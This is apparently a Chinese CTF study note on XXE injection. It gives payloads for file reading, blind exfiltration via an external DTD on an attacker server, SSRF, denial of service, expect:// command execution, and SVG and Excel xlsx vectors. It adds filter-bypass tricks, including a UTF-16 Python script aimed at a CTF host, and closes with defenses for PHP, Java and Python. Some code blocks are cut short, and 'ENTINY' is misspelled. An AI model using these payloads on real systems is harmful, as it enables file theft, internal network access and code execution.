libxml2.9.0之后默认不解析外部实体,php版本不影响XXE的利用
web目录为:
1 | $ tree . |
php读取xml代码
1 |
|
函数介绍
1 | libxml_disable_entity_loader #禁用/启用加载外部实体的功能 参数为true时为禁用,参数为false为启用 |
XML和DTD格式
- XML格式
1
2
3
4
5
6<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don’t forget me this weekend!</body>
</note> - DTD格式
1
2
3
4
5
6<!DOCTYPE note [
<!ENTINY to (#PCDATA)>//表示在to之间可以插入字符或者子标签
<!ENTINY from (#CDATA)>//表示在to之间可以插入字符传
<!ENTINY heading SYSTEM "file:///etc/passwd">//从外部读入标签(系统内)
<!ENTINY body SYSTEM "http://example.com/evil.dtd">//从外部读入标签(系统外)
]
XEE注入
常规payload
注意:有时候并不是只有上传xml的时候才有xxe,也可以试试将json改为xxe
读入系统文件
方法一(有回显):
1 | <?xml version="1.0" encoding="utf-8"?> |
方法二(vps读取dtd):
1 | <?xml version="1.0" encoding="UTF-8"?> |
其中evil.dtd的格式为:
1 | <!ENTINY xee SYSTEM "file:///etc/passwd"> |
方法三(读取文件内容发送到vps):
1 |
|
xxe.dtd文件内容为
1 | <!ENTITY % all |
- 拒绝服务攻击
1 | <!DOCTYPE data [ |
1 | <!--?xml version="1.0" ?--> |
- SSRF
1 | <?xml version="1.0"?> |
4.RCE
1 | <?xml version="1.0"?> |
XInclude
1
2<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>本地文件包含
1
2
3
4
<foo>&xxe;</foo>1
2
3
4
5<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>远程加载
1
2
3
4
<lolz><lol>3..2..1...&test<lol></lolz>UTF-7
1
2
3
4
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4Base64
1
<foo/>
SOAP
1
2
3
4
5<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>SVG
文件读取
1
2
3<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="file:///etc/passwd"></image>
</svg>1
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
RCE
1
2
3
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://calc"></image>
</svg>
excel的XXE利用
前言
XML外部实体攻击非常常见,特别是通过基于HTTP的API,我们经常遇到并利用以此通常获得对客户端环境的特权访问。
不常见的是用Excel进行XXE攻击。
这是什么方式
实际上,与所有post-Office 2007文件格式一样,现代Excel文件实际上只是XML文档的zip文件。这称为Office Open XML格式或OOXML。
许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析XML。如果解析器未安全配置,则XXE几乎是不可避免的。
在这篇文章中,我专注于Excel只是因为处理Excel文件比使用Word文档或Powerpoint更常见,但它肯定并不罕见,本文中的任何内容都可能适用于这些应用程序。
入门
假设我们有一个接受Excel文件进行上传和处理的目标应用程序,我们就可以开始探测XXE了。相同的攻击有效负载可能会起作用,我们只需将它们放入Excel文件即可。
创建一个新的空白Excel文件。你可以在某些单元格中键入内容,但实际上并不是必需的。如果您没有安装Excel?您可以使用Google表格,然后下载为xlsx。
创建一个目录以将Excel文件解压缩并解压缩。
用于攻击应用程序的文件会有所不同,这在很大程度上取决于所使用的库。xl/workbook.xml提供了工作簿内容的概述,通常是大多数解析开始的地方,因为它将包含工作表及其名称的列表。单个工作表本身位于xl/worksheets目录下,通常内容最终会进入xl/sharedStrings.xml。
我在实际中发现了这一点,大多数应用程序似乎都会使用xl/workbook.xmlXML解析器来获取工作表列表,然后分别读取每个工作表以获取单元格内容。我还没有找到任何易受细胞影响的应用程序,但您的里程可能会有所不同。
鉴于这种方法,根据经验,通常最好先尝试xl/workbook.xml,这就是我将在这篇文章中展示的内容。就像将XXE有效负载添加到此文件一样简单,将内容压缩回Excel文件并将其上传到应用程序。
使用BURP COLLABORATOR对XXE进行盲测
在我们的演示应用程序中,无法将数据检索到HTTP响应中,因此所有这些XXE发现和利用都将是盲目的。我喜欢使用Burp Collaborator进行初始测试,因为阻止出站HTTP请求但允许DNS查询的情况并不少见。使用Collaborator我们可以看到两种交互并确认漏洞,即使我们可能无法轻易利用它。
打开Burp Suite Professional,单击Burp菜单并选择“Burp Collaborator client”将其打开。
单击“复制到剪贴板”。就我而言,值是gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net。现在我们将其插入到XML中。
打开xl/workbook.xml并将以下内容插入第2行和第3行。确保从Burp中粘贴你的值,而不是下面显示的值。:
1 |
|
你的xl/workbook.xml现在会是像这样。
现在将其压缩以创建新的Excel文件。
现在将此poc.xlsx上传到你的应用程序。在这种情况下,有一个简单的ReactJS演示应用程序,它允许我们将文件拖入。你的应用程序应该会有所不同,但都是一个方式。
现在检查您的Burp Collaborator客户端,看看您是否有任何点击。
成功。我们已确认XXE。
XXE绕过
去xml头
1
2
3
4
5
6
7
8
<root>
</root>version前加空格
这种情况适用于简单的正则匹配xml头
1
2
3
4
5
6
7
8
9
<root>
</root>编码绕过
1
2
3
4
5
6
7
8
9
10
11
12import requests
url="http://813f9987-7aba-4dd1-b779-0cb3059fa45b.challenge.ctf.show/"
data='''<!DOCTYPE xxe [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % xee SYSTEM "http://82.157.161.5/xxe.dtd">
%xee;
%send;
]>
<root>
</root>'''
requests.post(url,data=data.encode('utf-16'))
XXE注入防御
方案一、使用开发语言提供的禁用外部实体的方法
PHP:
1 | libxml_disable_entity_loader(true); |
JAVA:
1 | DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); |
Python:
1 | from lxml import etree |
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY
,或者,SYSTEM和PUBLIC
。
ctf需要用到的大概就这些,更多的资料参考链接